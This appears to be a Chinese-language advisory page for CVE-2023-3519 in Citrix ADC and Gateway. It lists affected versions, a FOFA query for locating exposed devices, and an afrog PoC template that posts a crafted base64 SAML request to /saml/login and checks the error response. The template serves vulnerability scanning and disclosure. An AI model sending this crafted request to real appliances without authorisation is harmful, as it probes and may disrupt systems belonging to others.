CVE-2023-3519: Citrix ADC & Gateway RCE

日期: 2025-09-01 | 影响软件: Citrix ADC & Gateway | POC: 已公开

漏洞描述

Citrix Systems Citrix Gateway（Citrix Systems NetScaler Gateway）和Citrix ADC都是美国思杰系统（Citrix Systems）公司的产品。Citrix Gateway是一套安全的远程接入解决方案. Citrix ADC 和 Citrix Gateway存在代码注入漏洞，该漏洞源于存在远程代码执行漏洞。 FOFA: app="citrix-Access-Gateway"

PoC代码[已公开]

id: CVE-2023-3519

info:
  name: Citrix ADC & Gateway RCE
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Citrix Systems Citrix Gateway（Citrix Systems NetScaler Gateway）和Citrix ADC都是美国思杰系统（Citrix Systems）公司的产品。Citrix Gateway是一套安全的远程接入解决方案.
    Citrix ADC 和 Citrix Gateway存在代码注入漏洞，该漏洞源于存在远程代码执行漏洞。
    FOFA: app="citrix-Access-Gateway"
  affected: |-
    NetScaler ADC 、NetScaler Gateway 13.1 < 13.1-49.13 
    NetScaler ADC 、NetScaler Gateway 13.0 < 13.0-91.13 
    NetScaler ADC 13.1-FIPS < 13.1-37.159
    NetScaler ADC 12.1-FIPS < 12.1-55.297
    NetScaler ADC 12.1-NDcPP < 12.1-55.297

  reference:
    - https://mp.weixin.qq.com/s/ga1B1zR2KXWJGy9zswvEXw
  tags: cve,cve2023,citrix,rce
  created: 2023/08/02

rules:
  r0:
    request:
      method: POST
      path: /saml/login
      body: |
        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI+CiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8+CiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U+CiAgICA8L2RzOlNpZ25lZEluZm8+CiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU+QTwvZHM6U2lnbmF0dXJlVmFsdWU+CiAgPC9kczpTaWduYXR1cmU+CiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=
    expression: response.status == 200 && response.body.bcontains(b'SAML Assertion verification failed; Please contact your administrator')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2023/CVE-2023-3519.yaml

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